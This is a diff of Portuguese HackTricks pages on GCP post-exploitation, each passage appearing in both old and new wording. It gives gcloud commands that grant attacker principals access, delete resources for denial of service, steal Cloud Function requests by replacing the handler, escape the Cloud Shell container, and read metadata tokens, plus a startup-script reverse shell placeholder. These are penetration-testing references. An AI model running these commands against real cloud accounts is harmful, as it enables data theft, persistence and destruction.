--instance=<instance-id>
```
</details>
> [!NOTE]
> A operação undelete funciona apenas dentro do período de retenção configurado (padrão 7 dias). Após essa janela expirar, a tabela e seus dados são excluídos permanentemente e não podem ser recuperados por este método.
> A operação undelete funciona dentro do período de retenção configurado (padrão 7 dias). Após essa janela expirar, a tabela e seus dados são permanentemente excluídos e não podem ser recuperados por este método.
### Criar Authorized Views
**Permissões:** `bigtable.authorizedViews.create`, `bigtable.tables.readRows`, `bigtable.tables.mutateRows`
Authorized views permitem apresentar um subconjunto selecionado da tabela. Em vez de respeitar o princípio do menor privilégio, use-as para publicar **exatamente os conjuntos sensíveis de colunas/linhas** que você deseja e whitelist o seu próprio principal.
Authorized views permitem que você apresente um subconjunto selecionado da tabela. Em vez de respeitar o princípio do menor privilégio, use-os para publicar **exatamente os conjuntos sensíveis de colunas/linhas** que lhe interessam e whitelist seu próprio principal.
> [!WARNING]
> O problema é que, para criar uma authorized view, você também precisa ser capaz de ler e modificar linhas na tabela base; portanto você não está obtendo nenhuma permissão extra, por isso esta técnica é em grande parte inútil.
> O problema é que, para criar um authorized view você também precisa poder ler e modificar linhas na tabela base; portanto você não está obtendo nenhuma permissão extra, e por isso esta técnica é em grande parte inútil.
<details>
<summary>Criar authorized view</summary>
```bash
cat <<'EOF' > /tmp/credit-cards.json
{
@@ -168,13 +214,19 @@ gcloud bigtable authorized-views add-iam-policy-binding card-dump \
--instance=<instance-id> --table=<table-id> \
--member='user:<attacker@example.com>' --role='roles/bigtable.reader'
```
Como o acesso é limitado à view, os defensores frequentemente deixam de perceber que você acabou de criar um novo endpoint de alta sensibilidade.
</details>
Como o acesso está restrito à view, os defensores frequentemente deixam de notar que você acabou de criar um novo endpoint de alta sensibilidade.
### Ler Authorized Views
**Permissões:** `bigtable.authorizedViews.readRows`
Se você tiver acesso a uma Authorized View, pode ler dados dela usando as bibliotecas cliente do Bigtable, especificando o nome da authorized view nas suas requisições de leitura. Note que a authorized view provavelmente irá limitar o que você pode acessar na tabela. Abaixo há um exemplo usando Python:
Se você tiver acesso a um Authorized View, pode ler dados dele usando as bibliotecas cliente do Bigtable, especificando o nome do Authorized View nas suas solicitações de leitura. Observe que o Authorized View provavelmente restringirá o que você pode acessar na tabela. Abaixo há um exemplo usando Python:
<details>
<summary>Ler de Authorized View (Python)</summary>
```python
from google.cloud import bigtable
from google.cloud.bigtable_v2 import BigtableClient as DataClient
@@ -209,19 +261,25 @@ qualifier = chunk.qualifier.value.decode('utf-8') if hasattr(chunk.qualifier, 'v
value = chunk.value.decode('utf-8') if isinstance(chunk.value, bytes) else str(chunk.value)
print(f" {family}:{qualifier} = {value}")
```
### Denial of Service via Delete Operations
</details>
### Negação de Serviço via operações de exclusão
**Permissões:** `bigtable.appProfiles.delete`, `bigtable.authorizedViews.delete`, `bigtable.authorizedViews.deleteTagBinding`, `bigtable.backups.delete`, `bigtable.clusters.delete`, `bigtable.instances.delete`, `bigtable.tables.delete`
Qualquer uma das permissões de exclusão do Bigtable pode ser aproveitada para denial of service attacks. Um atacante com essas permissões pode interromper operações ao excluir recursos críticos do Bigtable:
Qualquer uma das permissões de exclusão do Bigtable pode ser explorada para ataques de negação de serviço. Um atacante com essas permissões pode interromper operações excluindo recursos críticos do Bigtable:
- **`bigtable.appProfiles.delete`**: Excluir perfis de aplicação, interrompendo conexões de clientes e configurações de roteamento
- **`bigtable.authorizedViews.delete`**: Remover visualizações autorizadas, cortando caminhos legítimos de acesso para aplicações
- **`bigtable.authorizedViews.deleteTagBinding`**: Remover vinculações de tags de visualizações autorizadas
- **`bigtable.backups.delete`**: Destruir snapshots de backup, eliminando opções de recuperação de desastres
- **`bigtable.appProfiles.delete`**: Excluir perfis de aplicativo, rompendo conexões de clientes e configurações de roteamento
- **`bigtable.authorizedViews.delete`**: Remover visualizações autorizadas, bloqueando caminhos legítimos de acesso para aplicações
- **`bigtable.authorizedViews.deleteTagBinding`**: Remover associações de tags de visualizações autorizadas
- **`bigtable.backups.delete`**: Destruir instantâneos de backup, eliminando opções de recuperação de desastres
- **`bigtable.clusters.delete`**: Excluir clusters inteiros, causando indisponibilidade imediata dos dados
- **`bigtable.instances.delete`**: Remover instâncias completas do Bigtable, apagando todas as tabelas e configurações
- **`bigtable.tables.delete`**: Excluir tabelas individuais, causando perda de dados e falhas em aplicações
- **`bigtable.tables.delete`**: Excluir tabelas individuais, causando perda de dados e falhas nas aplicações
<details>
<summary>Excluir recursos do Bigtable</summary>
```bash
# Delete a table
gcloud bigtable instances tables delete <table-id> \
@@ -246,7 +304,9 @@ gcloud bigtable clusters delete <cluster-id> \
# Delete an entire instance
gcloud bigtable instances delete <instance-id>
```
</details>
> [!WARNING]
> Operações de exclusão costumam ser imediatas e irreversíveis. Certifique-se de que existem backups antes de testar esses comandos, pois eles podem causar perda permanente de dados e grave interrupção do serviço.
> Operações de exclusão costumam ser imediatas e irreversíveis. Certifique-se de que existam backups antes de testar esses comandos, pois eles podem causar perda permanente de dados e grave interrupção do serviço.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,10 +1,10 @@
# GCP - Cloud Build Pós Exploração
# GCP - Cloud Build Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Cloud Build
Para mais informações sobre o Cloud Build, consulte:
Para mais informações sobre Cloud Build veja:
{{#ref}}
../gcp-services/gcp-cloud-build-enum.md
@@ -12,7 +12,11 @@ Para mais informações sobre o Cloud Build, consulte:
### `cloudbuild.builds.approve`
Com esta permissão, você pode aprovar a execução de um **codebuild que requer aprovações**.
Com essa permissão você pode aprovar a execução de um **codebuild que requer aprovações**.
<details>
<summary>Aprovar execução do Cloud Build</summary>
```bash
# Check the REST API in https://cloud.google.com/build/docs/api/reference/rest/v1/projects.locations.builds/approve
curl -X POST \
@@ -24,4 +28,6 @@ object (ApprovalResult)
}}' \
"https://cloudbuild.googleapis.com/v1/projects/<PROJECT_ID>/locations/<LOCATION>/builds/<BUILD_ID>:approve"
```
</details>
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,10 +1,10 @@
# GCP - Cloud Functions Pós Exploração
# GCP - Cloud Functions Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Cloud Functions
Encontre algumas informações sobre Cloud Functions em:
Encontre informações sobre Cloud Functions em:
{{#ref}}
../gcp-services/gcp-cloud-functions-enum.md
@@ -12,20 +12,30 @@ Encontre algumas informações sobre Cloud Functions em:
### `cloudfunctions.functions.sourceCodeGet`
Com esta permissão, você pode obter uma **URL assinada para poder baixar o código-fonte** da Cloud Function:
Com essa permissão você pode obter um **URL assinado para baixar o código-fonte** da Cloud Function:
<details>
<summary>Obter URL assinado para download do código-fonte</summary>
```bash
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'
```
### Roubar Solicitações de Função na Nuvem
</details>
Se a Função na Nuvem estiver gerenciando informações sensíveis que os usuários estão enviando (por exemplo, senhas ou tokens), com privilégios suficientes você poderia **modificar o código-fonte da função e exfiltrar** essas informações.
### Roubar requisições de Cloud Function
Além disso, Funções na Nuvem que rodam em python usam **flask** para expor o servidor web, se você de alguma forma encontrar uma vulnerabilidade de injeção de código dentro do processo flaks (uma vulnerabilidade SSTI, por exemplo), é possível **substituir o manipulador da função** que vai receber as solicitações HTTP por uma **função maliciosa** que pode **exfiltrar a solicitação** antes de passá-la para o manipulador legítimo.
Se a Cloud Function estiver lidando com informações sensíveis que os usuários estão enviando (por exemplo, senhas ou tokens), com privilégios suficientes você pode **modificar o código-fonte da função e exfiltrar** essas informações.
Por exemplo, este código implementa o ataque:
Além disso, Cloud Functions que rodam em python usam **flask** para expor o servidor web; se você de alguma forma encontrar uma vulnerabilidade de code injection dentro do processo do flask (uma vulnerabilidade SSTI, por exemplo), é possível **sobrescrever o handler da função** que vai receber as requisições HTTP por uma **função maliciosa** que pode **exfiltrar a requisição** antes de repassá-la ao handler legítimo.
Por exemplo este código implementa o ataque:
<details>
<summary>Roubar requisições de Cloud Function (Python injection)</summary>
```python
import functions_framework
@@ -122,4 +132,8 @@ return "Injection completed!"
except Exception as e:
return str(e)
```
</details>
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,33 +1,49 @@
# GCP - Cloud Shell Pós Exploração
# GCP - Cloud Shell Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Cloud Shell
Para mais informações sobre o Cloud Shell, consulte:
Para mais informações sobre Cloud Shell, veja:
{{#ref}}
../gcp-services/gcp-cloud-shell-enum.md
{{#endref}}
### Escape de Container
### Container Escape
Observe que o Google Cloud Shell é executado dentro de um container, você pode **facilmente escapar para o host** fazendo:
Observe que o Google Cloud Shell é executado dentro de um container; você pode **fácilmente escapar para o host** executando:
<details>
<summary>Container escape commands</summary>
```bash
sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh
```
Isso não é considerado uma vulnerabilidade pelo Google, mas oferece uma visão mais ampla do que está acontecendo nesse ambiente.
</details>
Além disso, observe que a partir do host você pode encontrar um token de conta de serviço:
Isso não é considerado uma vulnerabilidade pelo google, mas fornece uma visão mais ampla do que está acontecendo nesse ambiente.
Além disso, observe que no host você pode encontrar um service account token:
<details>
<summary>Obter service account a partir da metadata</summary>
```bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
default/
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/
```
Com os seguintes escopos:
</details>
Com os seguintes scopes:
<details>
<summary>Obter scopes da conta de serviço</summary>
```bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"
@@ -35,48 +51,92 @@ https://www.googleapis.com/auth/devstorage.read_only
https://www.googleapis.com/auth/logging.write
https://www.googleapis.com/auth/monitoring.write
```
Enumerar metadados com LinPEAS:
</details>
Enumere metadados com LinPEAS:
<details>
<summary>Enumere metadados com LinPEAS</summary>
```bash
cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
sh linpeas.sh -o cloud
```
Após usar [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) com o token da Conta de Serviço **nenhuma permissão foi descoberta**...
</details>
### Use como Proxy
Depois de usar [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) com o token do Service Account **nenhuma permissão foi encontrada**...
Se você quiser usar sua instância do google cloud shell como proxy, você precisa executar os seguintes comandos (ou inseri-los no arquivo .bashrc):
### Usar como proxy
Se você quiser usar sua google cloud shell instance como proxy, precisa executar os seguintes comandos (ou inseri-los no arquivo .bashrc):
<details>
<summary>Install Squid proxy</summary>
```bash
sudo apt install -y squid
```
Crie um arquivo **squid.conf** com as seguintes configurações:
</details>
Apenas para avisar, o Squid é um servidor proxy HTTP. Crie um arquivo **squid.conf** com as seguintes configurações:
<details>
<summary>Criar arquivo squid.conf</summary>
```bash
http_port 3128
cache_dir /var/cache/squid 100 16 256
acl all src 0.0.0.0/0
http_access allow all
```
</details>
copie o arquivo **squid.conf** para **/etc/squid**
<details>
<summary>Copiar configuração para /etc/squid</summary>
```bash
sudo cp squid.conf /etc/squid
```
Finalmente, execute o serviço squid:
</details>
Por fim, execute o serviço squid:
<details>
<summary>Iniciar serviço squid</summary>
```bash
sudo service squid start
```
Use ngrok para tornar o proxy disponível externamente:
</details>
Use o ngrok para tornar o proxy acessível externamente:
<details>
<summary>Expor o proxy com ngrok</summary>
```bash
./ngrok tcp 3128
```
Após executar, copie a URL tcp://. Se você quiser executar o proxy a partir de um navegador, é sugerido remover a parte tcp:// e a porta, e colocar a porta no campo de porta das configurações de proxy do seu navegador (squid é um servidor proxy http).
</details>
Para melhor uso na inicialização, o arquivo .bashrc deve ter as seguintes linhas:
Após executar, copie a URL tcp://. Se você quiser executar o proxy a partir de um navegador, recomenda-se remover a parte tcp:// e a porta e colocar a porta no campo de porta das configurações de proxy do seu navegador (squid é um servidor proxy HTTP).
Para melhor uso na inicialização, o arquivo .bashrc deve conter as seguintes linhas:
<details>
<summary>Adicionar ao .bashrc para inicialização automática</summary>
```bash
sudo apt install -y squid
sudo cp squid.conf /etc/squid/
sudo service squid start
cd ngrok;./ngrok tcp 3128
```
As instruções foram copiadas de [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). Verifique essa página para outras ideias malucas para executar qualquer tipo de software (bancos de dados e até mesmo Windows) no Cloud Shell.
</details>
As instruções foram copiadas de [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). Confira essa página para outras ideias malucas para executar qualquer tipo de software (bancos de dados e até Windows) no Cloud Shell.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,10 +1,10 @@
# GCP - Cloud SQL Pós Exploração
# GCP - Cloud SQL Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Cloud SQL
Para mais informações sobre o Cloud SQL, consulte:
Para mais informações sobre Cloud SQL veja:
{{#ref}}
../gcp-services/gcp-cloud-sql-enum.md
@@ -12,7 +12,11 @@ Para mais informações sobre o Cloud SQL, consulte:
### `cloudsql.instances.update`, ( `cloudsql.instances.get`)
Para se conectar aos bancos de dados, você **só precisa de acesso à porta do banco de dados** e saber o **nome de usuário** e **senha**, não há requisitos de IAM. Portanto, uma maneira fácil de obter acesso, supondo que o banco de dados tenha um endereço IP público, é atualizar as redes permitidas e **permitir que seu próprio endereço IP acesse-o**.
Para se conectar aos bancos de dados você **apenas precisa de acesso à porta do banco de dados** e conhecer o **username** e o **password**, não há requisitos de IAM. Portanto, uma maneira fácil de obter acesso, supondo que o banco de dados tenha um endereço IP público, é atualizar as redes permitidas e **permitir que o seu próprio IP tenha acesso**.
<details>
<summary>Permitir seu IP e conectar ao banco de dados</summary>
```bash
# Use --assign-ip to make the database get a public IPv4
gcloud sql instances patch $INSTANCE_NAME \
@@ -25,61 +29,111 @@ mysql -h <ip_db> # If mysql
# With cloudsql.instances.get you can use gcloud directly
gcloud sql connect mysql --user=root --quiet
```
</details>
Também é possível usar **`--no-backup`** para **interromper os backups** do banco de dados.
Como esses são os requisitos, não tenho certeza do que são as permissões **`cloudsql.instances.connect`** e **`cloudsql.instances.login`**. Se você souber, envie um PR!
Como esses são os requisitos, não tenho certeza completa sobre para que servem as permissões **`cloudsql.instances.connect`** e **`cloudsql.instances.login`**. Se você souber, envie um PR!
### `cloudsql.users.list`
Obtenha uma **lista de todos os usuários** do banco de dados:
<details>
<summary>Listar usuários do banco de dados</summary>
```bash
gcloud sql users list --instance <intance-name>
```
</details>
### `cloudsql.users.create`
Esta permissão permite **criar um novo usuário dentro** do banco de dados:
<details>
<summary>Criar usuário do banco de dados</summary>
```bash
gcloud sql users create <username> --instance <instance-name> --password <password>
```
</details>
### `cloudsql.users.update`
Esta permissão permite **atualizar o usuário dentro** do banco de dados. Por exemplo, você poderia mudar sua senha:
Essa permissão permite **atualizar o usuário dentro** do banco de dados. Por exemplo, você poderia alterar sua senha:
<details>
<summary>Atualizar senha do usuário</summary>
```bash
gcloud sql users set-password <username> --instance <instance-name> --password <password>
```
</details>
### `cloudsql.instances.restoreBackup`, `cloudsql.backupRuns.get`
Backups podem conter **informações sensíveis antigas**, então é interessante verificá-las.\
Backups podem conter **informações sensíveis antigas**, então é interessante verificá-los.\
**Restaurar um backup** dentro de um banco de dados:
<details>
<summary>Restaurar backup do banco de dados</summary>
```bash
gcloud sql backups restore <backup-id> --restore-instance <instance-id>
```
Para fazê-lo de uma maneira mais furtiva, é recomendável criar uma nova instância SQL e recuperar os dados lá em vez de nas bases de dados atualmente em execução.
</details>
Para fazer isso de maneira mais stealth, é recomendado criar uma nova instância SQL e recuperar os dados lá, em vez de nos bancos de dados atualmente em execução.
### `cloudsql.backupRuns.delete`
Esta permissão permite excluir backups:
<details>
<summary>Excluir backup</summary>
```bash
gcloud sql backups delete <backup-id> --instance <instance-id>
```
</details>
### `cloudsql.instances.export`, `storage.objects.create`
**Exporte um banco de dados** para um Bucket do Cloud Storage para que você possa acessá-lo a partir daí:
**Exportar um banco de dados** para um Cloud Storage Bucket para que você possa acessá-lo a partir daí:
<details>
<summary>Exportar banco de dados para um Cloud Storage Bucket</summary>
```bash
# Export sql format, it could also be csv and bak
gcloud sql export sql <instance-id> <gs://bucketName/fileName> --database <db>
```
</details>
### `cloudsql.instances.import`, `storage.objects.get`
**Importar um banco de dados** (sobrescrever) de um Bucket do Cloud Storage:
**Importar um banco de dados** (sobrescrever) de um Cloud Storage Bucket:
<details>
<summary>Importar banco de dados do bucket</summary>
```bash
# Import format SQL, you could also import formats bak and csv
gcloud sql import sql <instance-id> <gs://bucketName/fileName>
```
</details>
### `cloudsql.databases.delete`
Excluir um banco de dados da instância do db:
Excluir um banco de dados da instância do banco de dados:
<details>
<summary>Excluir banco de dados</summary>
```bash
gcloud sql databases delete <db-name> --instance <instance-id>
```
</details>
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,40 +1,50 @@
# GCP - Computação Pós Exploração
# GCP - Compute Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Computação
## Compute
Para mais informações sobre Computação e VPC (Rede) consulte:
Para mais informações sobre Compute e VPC (Networking) confira:
{{#ref}}
../gcp-services/gcp-compute-instances-enum/
{{#endref}}
### Exportar e Inspecionar Imagens localmente
### Exportar & Inspecionar imagens localmente
Isso permitiria que um atacante **acessasse os dados contidos dentro de imagens já existentes** ou **criasse novas imagens de VMs em execução** e acessasse seus dados sem ter acesso à VM em execução.
Isto permitiria que um atacante **acessasse os dados contidos em imagens já existentes** ou **criasse novas imagens de VMs em execução** e acessasse seus dados sem ter acesso à VM em execução.
É possível exportar uma imagem de VM para um bucket e depois baixá-la e montá-la localmente com o comando:
É possível exportar uma imagem de VM para um bucket e então baixá-la e montá-la localmente com o comando:
<details>
<summary>Exportar e baixar imagem de VM</summary>
```bash
gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
# The download the export from the bucket and mount it locally
```
Para realizar esta ação, o atacante pode precisar de privilégios sobre o bucket de armazenamento e, com certeza, **privilégios sobre o cloudbuild**, pois é o **serviço** que será solicitado a realizar a exportação.\
Além disso, para que isso funcione, o SA do codebuild e o SA do compute precisam de permissões privilegiadas.\
O SA do cloudbuild `<project-id>@cloudbuild.gserviceaccount.com` precisa de:
</details>
Antes de executar esta ação, o atacante pode precisar de privilégios sobre o bucket de storage e, com certeza, **privilégios sobre cloudbuild**, pois é o **serviço** que será solicitado a realizar a exportação.
Além disso, para isso funcionar o codebuild SA e o compute SA precisam de permissões privilegiadas.
O cloudbuild SA `<project-id>@cloudbuild.gserviceaccount.com` precisa:
- roles/iam.serviceAccountTokenCreator
- roles/compute.admin
- roles/iam.serviceAccountUser
E o SA `<project-id>-compute@developer.gserviceaccount.com` precisa de:
E o SA `<project-id>-compute@developer.gserviceaccount.com` precisa:
- roles/compute.storageAdmin
- oles/compute.storageAdmin
- roles/storage.objectAdmin
### Exportar e Inspecionar Snapshots e Discos localmente
### Export & Inspect Snapshots & Disks locally
Não é possível exportar snapshots e discos diretamente, mas é possível **transformar um snapshot em um disco, um disco em uma imagem** e, seguindo a **seção anterior**, exportar essa imagem para inspecioná-la localmente.
Não é possível exportar snapshots e discos diretamente, mas é possível **transformar um snapshot em um disco, um disco em uma imagem** e, seguindo a **seção anterior**, exportar essa imagem para inspecioná-la localmente
<details>
<summary>Criar disco a partir de snapshot e imagem a partir de disco</summary>
```bash
# Create a Disk from a snapshot
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]
@@ -42,65 +52,115 @@ gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --
# Create an image from a disk
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]
```
### Inspecionar uma Imagem criando uma VM
</details>
Com o objetivo de acessar os **dados armazenados em uma imagem** ou dentro de uma **VM em execução** de onde um atacante **criou uma imagem,** é possível conceder a um conta externa acesso à imagem:
### Inspecionar uma image criando uma VM
Com o objetivo de acessar os **dados armazenados em uma image** ou dentro de uma **running VM** de onde um atacante **criou uma image,** é possível conceder a uma conta externa acesso à image:
<details>
<summary>Conceder acesso à image e criar VM</summary>
```bash
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'
```
e então crie uma nova VM a partir disso:
</details>
e então crie uma nova VM a partir dela:
<details>
<summary>Criar instância de VM a partir da imagem</summary>
```bash
gcloud compute instances create [INSTANCE_NAME] \
--project=[TARGET_PROJECT_ID] \
--zone=[ZONE] \
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]
```
Se você não puder conceder acesso à sua conta externa sobre a imagem, poderá iniciar uma VM usando essa imagem no projeto da vítima e **fazer a metadata executar um reverse shell** para acessar a imagem adicionando o parâmetro:
</details>
Se você não puder conceder à sua conta externa acesso à imagem, você pode iniciar uma VM usando essa imagem no projeto da vítima e **fazer com que os metadados executem um reverse shell** para acessar a imagem adicionando o parâmetro:
<details>
<summary>Criar VM com reverse shell nos metadados</summary>
```bash
--metadata startup-script='#! /bin/bash
echo "hello"; <reverse shell>'
```
### Inspecionar um Snapshot/Disk anexando-o a uma VM
</details>
Com o objetivo de acessar os **dados armazenados em um disco ou um snapshot, você poderia transformar o snapshot em um disco, um disco em uma imagem e seguir os passos anteriores.**
### Inspecionar um Snapshot/Disk anexando-o a um VM
Ou você poderia **conceder acesso a uma conta externa** sobre o disco (se o ponto de partida for um snapshot, conceda acesso sobre o snapshot ou crie um disco a partir dele):
Com o objetivo de acessar os **dados armazenados em um disk ou em um snapshot, você poderia transformar o snapshot em um disk, um disk em uma image e seguir os passos anteriores.**
Ou você poderia **conceder a uma conta externa acesso** ao disk (se o ponto de partida for um snapshot, conceda acesso ao snapshot ou crie um disk a partir dele):
<details>
<summary>Conceder acesso ao disk</summary>
```bash
gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member='user:[USER_EMAIL]' \
--role='roles/compute.storageAdmin'
```
</details>
**Anexar o disco** a uma instância:
<details>
<summary>Anexar disco à instância</summary>
```bash
gcloud compute instances attach-disk [INSTANCE_NAME] \
--disk [DISK_NAME] \
--zone [ZONE]
```
</details>
Monte o disco dentro da VM:
1. **SSH na VM**:
<details>
<summary>SSH na VM e monte o disco</summary>
```sh
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
```
2. **Identifique o Disco**: Uma vez dentro da VM, identifique o novo disco listando os dispositivos de disco. Normalmente, você pode encontrá-lo como `/dev/sdb`, `/dev/sdc`, etc.
3. **Formate e Monte o Disco** (se for um disco novo ou bruto):
</details>
2. **Identifique o Disco**: Uma vez dentro da VM, identifique o novo disco listando os dispositivos de disco. Tipicamente, você pode encontrá-lo como `/dev/sdb`, `/dev/sdc`, etc.
3. **Formate e Monte o Disco** (se for um disco novo ou raw):
- Crie um ponto de montagem:
<details>
<summary>Criar ponto de montagem e montar</summary>
```sh
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
```
</details>
- Monte o disco:
<details>
<summary>Montar o dispositivo do disco</summary>
```sh
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]
```
Se você **não puder dar acesso a um projeto externo** para o snapshot ou disco, pode ser necessário **realizar essas ações dentro de uma instância no mesmo projeto que o snapshot/disco**.
</details>
Se você **não puder conceder acesso a um projeto externo** ao snapshot ou disco, pode ser necessário **executar essas ações dentro de uma instância no mesmo projeto que o snapshot/disco**.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,18 +1,22 @@
# GCP - Filestore Pós Exploração
# GCP - Filestore Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Filestore
Para mais informações sobre Filestore, consulte:
Para mais informações sobre o Filestore consulte:
{{#ref}}
../gcp-services/gcp-filestore-enum.md
{{#endref}}
### Montar Filestore
### Mount Filestore
Um sistema de arquivos compartilhado **pode conter informações sensíveis** interessantes do ponto de vista de um atacante. Com acesso ao Filestore, é possível **montá-lo**:
Um sistema de arquivos compartilhado **pode conter informações sensíveis** interessantes do ponto de vista de um atacante. Com acesso ao Filestore é possível **montá-lo**:
<details>
<summary>Mount Filestore filesystem</summary>
```bash
sudo apt-get update
sudo apt-get install nfs-common
@@ -22,15 +26,21 @@ showmount -e <IP>
mkdir /mnt/fs
sudo mount [FILESTORE_IP]:/[FILE_SHARE_NAME] /mnt/fs
```
Para encontrar o endereço IP de uma instância de filestore, verifique a seção de enumeração da página:
</details>
Para encontrar o endereço IP de uma instância Filestore, verifique a seção de enumeração da página:
{{#ref}}
../gcp-services/gcp-filestore-enum.md
{{#endref}}
### Remover Restrições e obter permissões extras
### Remover restrições e obter permissões extras
Se o atacante não estiver em um endereço IP com acesso ao compartilhamento, mas você tiver permissões suficientes para modificá-lo, é possível remover as restrições ou o acesso a ele. Também é possível conceder mais privilégios ao seu endereço IP para ter acesso administrativo ao compartilhamento:
Se o attacker não estiver em um endereço IP com acesso ao share, mas você tiver permissões suficientes para modificálo, é possível remover as restrições de acesso. Também é possível conceder mais privilégios ao seu endereço IP para obter acesso admin ao share:
<details>
<summary>Atualizar instância Filestore para permitir acesso</summary>
```bash
gcloud filestore instances update nfstest \
--zone=<exact-zone> \
@@ -56,9 +66,15 @@ gcloud filestore instances update nfstest \
}
}
```
</details>
### Restaurar um backup
Se houver um backup, é possível **restaurá-lo** em uma instância existente ou em uma nova, para que suas **informações se tornem acessíveis:**
Se houver um backup, é possível **restaurá-lo** em uma instância existente ou em uma nova instância para que sua **informação fique acessível:**
<details>
<summary>Criar nova instância e restaurar backup</summary>
```bash
# Create a new filestore if you don't want to modify the old one
gcloud filestore instances create <new-instance-name> \
@@ -76,9 +92,15 @@ gcloud filestore instances restore <new-instance-name> \
# Follow the previous section commands to mount it
```
</details>
### Criar um backup e restaurá-lo
Se você **não tem acesso a um compartilhamento e não quer modificá-lo**, é possível **criar um backup** dele e **restaurá-lo** conforme mencionado anteriormente:
Se você **não tem acesso a um share e não quer modificá-lo**, é possível **criar um backup** dele e **restaurá-lo** como mencionado anteriormente:
<details>
<summary>Criar backup e restaurar em nova instância</summary>
```bash
# Create share backup
gcloud filestore backups create <back-name> \
@@ -89,4 +111,6 @@ gcloud filestore backups create <back-name> \
# Follow the previous section commands to restore it and mount it
```
</details>
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,4 +1,4 @@
# GCP - IAM Pós Exploração
# GCP - IAM Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
@@ -10,17 +10,23 @@ Você pode encontrar mais informações sobre IAM em:
../gcp-services/gcp-iam-and-org-policies-enum.md
{{#endref}}
### Concedendo acesso ao console de gerenciamento <a href="#granting-access-to-management-console" id="granting-access-to-management-console"></a>
### Concessão de acesso ao console de gerenciamento <a href="#granting-access-to-management-console" id="granting-access-to-management-console"></a>
O acesso ao [console de gerenciamento do GCP](https://console.cloud.google.com) é **fornecido a contas de usuário, não a contas de serviço**. Para fazer login na interface da web, você pode **conceder acesso a uma conta do Google** que você controla. Esta pode ser uma conta genérica "**@gmail.com**", não precisa **ser membro da organização alvo**.
O acesso ao [GCP management console](https://console.cloud.google.com) é **fornecido a contas de usuário, não a contas de serviço**. Para acessar a interface web, você pode **conceder acesso a um Google account** que você controla. Isso pode ser uma conta genérica "**@gmail.com**", ela **não precisa ser membro da organização alvo**.
Para **conceder** o papel primitivo de **Owner** a uma conta genérica "@gmail.com", no entanto, você precisará **usar o console da web**. `gcloud` apresentará erro se você tentar conceder uma permissão acima de Editor.
Para **conceder** o papel primitivo de **Owner** a uma conta genérica "@gmail.com", porém, você precisará **usar o console web**. `gcloud` retornará erro se você tentar conceder uma permissão acima de Editor.
Você pode usar o seguinte comando para **conceder a um usuário o papel primitivo de Editor** ao seu projeto existente:
Você pode usar o seguinte comando para **conceder a um usuário o papel primitivo de Editor** no seu projeto existente:
<details>
<summary>Conceder papel Editor ao usuário</summary>
```bash
gcloud projects add-iam-policy-binding [PROJECT] --member user:[EMAIL] --role roles/editor
```
Se você teve sucesso aqui, tente **acessar a interface da web** e explorar a partir daí.
</details>
Se você teve sucesso aqui, tente **acessar a interface web** e explorá-la a partir daí.
Este é o **nível mais alto que você pode atribuir usando a ferramenta gcloud**.

View File

@@ -1,10 +1,10 @@
# GCP - KMS Pós Exploração
# GCP - KMS Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## KMS
Encontre informações básicas sobre KMS em:
Encontre informações básicas sobre o KMS em:
{{#ref}}
../gcp-services/gcp-kms-enum.md
